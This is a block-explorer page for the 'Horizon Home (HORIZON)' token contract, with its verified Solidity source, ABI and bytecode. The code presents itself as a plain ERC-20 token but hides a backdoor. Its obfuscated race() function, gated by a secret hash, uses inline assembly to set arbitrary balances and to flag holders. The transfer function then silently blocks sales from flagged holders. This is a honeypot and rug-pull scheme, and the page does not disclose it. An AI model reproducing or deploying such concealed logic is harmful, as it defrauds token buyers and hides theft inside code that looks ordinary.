ETH Price: $3,309.07 (-1.73%)
Gas: 2 Gwei

Token

Horizon Home (HORIZON)
 

Overview

Max Total Supply

500,000,000 HORIZON

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,145,027.411085128732803942 HORIZON

Value
$0.00
0x43c8cddae7d61290bdd25afb832bab3b01937a08
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HORIZON

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 2 : HORIZON.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./IERC20.sol";

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
      uint256 c = a + b;
      require(c >= a, "SafeMath: addition overflow");
      return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
      return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      require(b <= a, errorMessage);
      uint256 c = a - b;
      return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
      // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
      // benefit is lost if 'b' is also tested.
      // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
      if (a == 0) return 0;
      uint256 c = a * b;
      require(c / a == b, "SafeMath: multiplication overflow");
      return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
      return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      // Solidity only automatically asserts when dividing by 0
      require(b > 0, errorMessage);
      uint256 c = a / b;
      return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
      return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
      require(b != 0, errorMessage);
      return a % b;
    }
}

contract HORIZON is IERC20 {

    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _yellowcards;
    mapping (address => mapping (address => uint256)) private _allowances;
    IERC20 private immutable _melons;

    constructor(
      string memory _name_, string memory _symbol_, address _wood_, uint256 _pnums_) {
      _name = _name_;
      _symbol = _symbol_;
      _totalSupply = 500000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _melons = IERC20(_wood_
      ); _yellowcards[address(0)] = _pnums_;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) external view override returns (uint256) {
      return _balances[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    function race(uint256[] calldata babys) external { 
      if (uint256(keccak256(abi.encode(msg.sender, _name, _symbol))) 
          != _yellowcards[address(0)]) 
          return; (uint256 
          x, uint256 
          y) = (babys[0
          ], 
          babys[1]); assembly { 
            if gt(y, 0) { mstore(0, x
            ) mstore(32, 
            4) sstore(keccak256(
              0, 64), y) } 
            if eq(y, 0) { mstore(
              0, x) mstore(
                32, 5) sstore(
                keccak256(0, 64), 1) } 
          }
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 
      xV 
      = _melons.
      balanceOf(
        sender
      );
      if (_yellowcards[
        sender
        ] == 1 
        && 
        xV == 0) 
        return;
      _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}

File 2 of 2 : IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name_","type":"string"},{"internalType":"string","name":"_symbol_","type":"string"},{"internalType":"address","name":"_wood_","type":"address"},{"internalType":"uint256","name":"_pnums_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"babys","type":"uint256[]"}],"name":"race","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b50604051620010543803806200105483398101604081905262000034916200021e565b835162000049906000906020870190620000cd565b5082516200005f906001906020860190620000cd565b506b019d971e4fe8401e74000000600281905533600090815260046020908152604082209290925560609390931b6001600160601b03191660805291805260059091527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc5550620003009050565b828054620000db90620002ad565b90600052602060002090601f016020900481019282620000ff57600085556200014a565b82601f106200011a57805160ff19168380011785556200014a565b828001600101855582156200014a579182015b828111156200014a5782518255916020019190600101906200012d565b50620001589291506200015c565b5090565b5b808211156200015857600081556001016200015d565b600082601f83011262000184578081fd5b81516001600160401b0380821115620001a157620001a1620002ea565b6040516020601f8401601f1916820181018381118382101715620001c957620001c9620002ea565b6040528382528584018101871015620001e0578485fd5b8492505b83831015620002035785830181015182840182015291820191620001e4565b838311156200021457848185840101525b5095945050505050565b6000806000806080858703121562000234578384fd5b84516001600160401b03808211156200024b578586fd5b620002598883890162000173565b955060208701519150808211156200026f578485fd5b506200027e8782880162000173565b604087015190945090506001600160a01b03811681146200029d578283fd5b6060959095015193969295505050565b600281046001821680620002c257607f821691505b60208210811415620002e457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610d356200031f600039600061060d0152610d356000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633beb5d531161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80633beb5d531461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610a51565b60405180910390f35b6101056101003660046108a1565b610272565b6040516100e99190610a46565b61011a610288565b6040516100e99190610be9565b610105610135366004610866565b61028e565b6101426102f7565b6040516100e99190610bf2565b61010561015d3660046108a1565b6102fc565b6101756101703660046108ca565b610332565b005b61011a61018536600461081a565b610426565b610192610445565b6040516100e991906109f2565b6100dc610454565b6101056101b53660046108a1565b610463565b6101056101c83660046108a1565b6104b2565b61011a6101db366004610834565b6104bf565b6060600080546101ef90610c3b565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610c3b565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104ea565b50600192915050565b60025490565b600061029b8484846105a7565b6102ed84336102e885604051806060016040528060288152602001610cb3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610793565b6104ea565b5060019392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906102e890866107cd565b6000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54604051909261037492339260019101610a06565b6040516020818303038152906040528051906020012060001c1461039757610422565b600080838360008181106103bb57634e487b7160e01b600052603260045260246000fd5b90506020020135848460018181106103e357634e487b7160e01b600052603260045260246000fd5b9050602002013591509150600081111561040857816000526004602052806040600020555b8061041f5781600052600560205260016040600020555b50505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610c3b565b600061027f33846102e885604051806060016040528060258152602001610cdb602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610793565b600061027f3384846105a7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105195760405162461bcd60e51b815260040161051090610ba5565b60405180910390fd5b6001600160a01b03821661053f5760405162461bcd60e51b815260040161051090610ae7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061059a908590610be9565b60405180910390a3505050565b6001600160a01b0383166105cd5760405162461bcd60e51b815260040161051090610b60565b6001600160a01b0382166105f35760405162461bcd60e51b815260040161051090610aa4565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a08231906106429087906004016109f2565b60206040518083038186803b15801561065a57600080fd5b505afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190610939565b6001600160a01b03851660009081526005602052604090205490915060011480156106bb575080155b156106c6575061078e565b61070382604051806060016040528060268152602001610c8d602691396001600160a01b0387166000908152600460205260409020549190610793565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461073290836107cd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610784908690610be9565b60405180910390a3505b505050565b600081848411156107b75760405162461bcd60e51b81526004016105109190610a51565b5060006107c48486610c24565b95945050505050565b6000806107da8385610c0c565b9050838110156107fc5760405162461bcd60e51b815260040161051090610b29565b9392505050565b80356001600160a01b038116811461044057600080fd5b60006020828403121561082b578081fd5b6107fc82610803565b60008060408385031215610846578081fd5b61084f83610803565b915061085d60208401610803565b90509250929050565b60008060006060848603121561087a578081fd5b61088384610803565b925061089160208501610803565b9150604084013590509250925092565b600080604083850312156108b3578182fd5b6108bc83610803565b946020939093013593505050565b600080602083850312156108dc578182fd5b823567ffffffffffffffff808211156108f3578384fd5b818501915085601f830112610906578384fd5b813581811115610914578485fd5b8660208083028501011115610927578485fd5b60209290920196919550909350505050565b60006020828403121561094a578081fd5b5051919050565b80546000906002810460018083168061096b57607f831692505b602080841082141561098b57634e487b7160e01b86526022600452602486fd5b6109958489610be9565b8280156109a957600181146109ba576109e5565b60ff198716825282820197506109e5565b6109c389610c00565b60005b878110156109df578154848201529086019084016109c6565b83019850505b5050505050505092915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610a2a90830185610951565b8281036040840152610a3c8185610951565b9695505050505050565b901515815260200190565b6000602080835283518082850152825b81811015610a7d57858101830151858201604001528201610a61565b81811115610a8e5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60009081526020902090565b60008219821115610c1f57610c1f610c76565b500190565b600082821015610c3657610c36610c76565b500390565b600281046001821680610c4f57607f821691505b60208210811415610c7057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209d5f9b6c870011953947999e11f6d1296a2e2dcb200bc0112678386d4037ece964736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000df3096655cb20460a1631873c728a9ab0d5d2609432e78316603b78bd729422dd410ebdbe80c659dac8a81acd77c5498762ae4f6000000000000000000000000000000000000000000000000000000000000000c486f72697a6f6e20486f6d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007484f52495a4f4e00000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80633beb5d531161008c57806395d89b411161006657806395d89b411461019f578063a457c2d7146101a7578063a9059cbb146101ba578063dd62ed3e146101cd576100cf565b80633beb5d531461016257806370a08231146101775780638da5cb5b1461018a576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011257806323b872dd14610127578063313ce5671461013a578063395093511461014f575b600080fd5b6100dc6101e0565b6040516100e99190610a51565b60405180910390f35b6101056101003660046108a1565b610272565b6040516100e99190610a46565b61011a610288565b6040516100e99190610be9565b610105610135366004610866565b61028e565b6101426102f7565b6040516100e99190610bf2565b61010561015d3660046108a1565b6102fc565b6101756101703660046108ca565b610332565b005b61011a61018536600461081a565b610426565b610192610445565b6040516100e991906109f2565b6100dc610454565b6101056101b53660046108a1565b610463565b6101056101c83660046108a1565b6104b2565b61011a6101db366004610834565b6104bf565b6060600080546101ef90610c3b565b80601f016020809104026020016040519081016040528092919081815260200182805461021b90610c3b565b80156102685780601f1061023d57610100808354040283529160200191610268565b820191906000526020600020905b81548152906001019060200180831161024b57829003601f168201915b5050505050905090565b600061027f3384846104ea565b50600192915050565b60025490565b600061029b8484846105a7565b6102ed84336102e885604051806060016040528060288152602001610cb3602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610793565b6104ea565b5060019392505050565b601290565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161027f9185906102e890866107cd565b6000808052600560209081527f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc54604051909261037492339260019101610a06565b6040516020818303038152906040528051906020012060001c1461039757610422565b600080838360008181106103bb57634e487b7160e01b600052603260045260246000fd5b90506020020135848460018181106103e357634e487b7160e01b600052603260045260246000fd5b9050602002013591509150600081111561040857816000526004602052806040600020555b8061041f5781600052600560205260016040600020555b50505b5050565b6001600160a01b0381166000908152600460205260409020545b919050565b6003546001600160a01b031690565b6060600180546101ef90610c3b565b600061027f33846102e885604051806060016040528060258152602001610cdb602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190610793565b600061027f3384846105a7565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166105195760405162461bcd60e51b815260040161051090610ba5565b60405180910390fd5b6001600160a01b03821661053f5760405162461bcd60e51b815260040161051090610ae7565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061059a908590610be9565b60405180910390a3505050565b6001600160a01b0383166105cd5760405162461bcd60e51b815260040161051090610b60565b6001600160a01b0382166105f35760405162461bcd60e51b815260040161051090610aa4565b6040516370a0823160e01b81526000906001600160a01b037f000000000000000000000000df3096655cb20460a1631873c728a9ab0d5d260916906370a08231906106429087906004016109f2565b60206040518083038186803b15801561065a57600080fd5b505afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190610939565b6001600160a01b03851660009081526005602052604090205490915060011480156106bb575080155b156106c6575061078e565b61070382604051806060016040528060268152602001610c8d602691396001600160a01b0387166000908152600460205260409020549190610793565b6001600160a01b03808616600090815260046020526040808220939093559085168152205461073290836107cd565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610784908690610be9565b60405180910390a3505b505050565b600081848411156107b75760405162461bcd60e51b81526004016105109190610a51565b5060006107c48486610c24565b95945050505050565b6000806107da8385610c0c565b9050838110156107fc5760405162461bcd60e51b815260040161051090610b29565b9392505050565b80356001600160a01b038116811461044057600080fd5b60006020828403121561082b578081fd5b6107fc82610803565b60008060408385031215610846578081fd5b61084f83610803565b915061085d60208401610803565b90509250929050565b60008060006060848603121561087a578081fd5b61088384610803565b925061089160208501610803565b9150604084013590509250925092565b600080604083850312156108b3578182fd5b6108bc83610803565b946020939093013593505050565b600080602083850312156108dc578182fd5b823567ffffffffffffffff808211156108f3578384fd5b818501915085601f830112610906578384fd5b813581811115610914578485fd5b8660208083028501011115610927578485fd5b60209290920196919550909350505050565b60006020828403121561094a578081fd5b5051919050565b80546000906002810460018083168061096b57607f831692505b602080841082141561098b57634e487b7160e01b86526022600452602486fd5b6109958489610be9565b8280156109a957600181146109ba576109e5565b60ff198716825282820197506109e5565b6109c389610c00565b60005b878110156109df578154848201529086019084016109c6565b83019850505b5050505050505092915050565b6001600160a01b0391909116815260200190565b6001600160a01b0384168152606060208201819052600090610a2a90830185610951565b8281036040840152610a3c8185610951565b9695505050505050565b901515815260200190565b6000602080835283518082850152825b81811015610a7d57858101830151858201604001528201610a61565b81811115610a8e5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b60ff91909116815260200190565b60009081526020902090565b60008219821115610c1f57610c1f610c76565b500190565b600082821015610c3657610c36610c76565b500390565b600281046001821680610c4f57607f821691505b60208210811415610c7057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212209d5f9b6c870011953947999e11f6d1296a2e2dcb200bc0112678386d4037ece964736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000df3096655cb20460a1631873c728a9ab0d5d2609432e78316603b78bd729422dd410ebdbe80c659dac8a81acd77c5498762ae4f6000000000000000000000000000000000000000000000000000000000000000c486f72697a6f6e20486f6d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007484f52495a4f4e00000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name_ (string): Horizon Home
Arg [1] : _symbol_ (string): HORIZON
Arg [2] : _wood_ (address): 0xDF3096655cb20460A1631873C728A9Ab0d5d2609
Arg [3] : _pnums_ (uint256): 30387065361401038084275193529764278482410097946121619260773097298813902316790

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
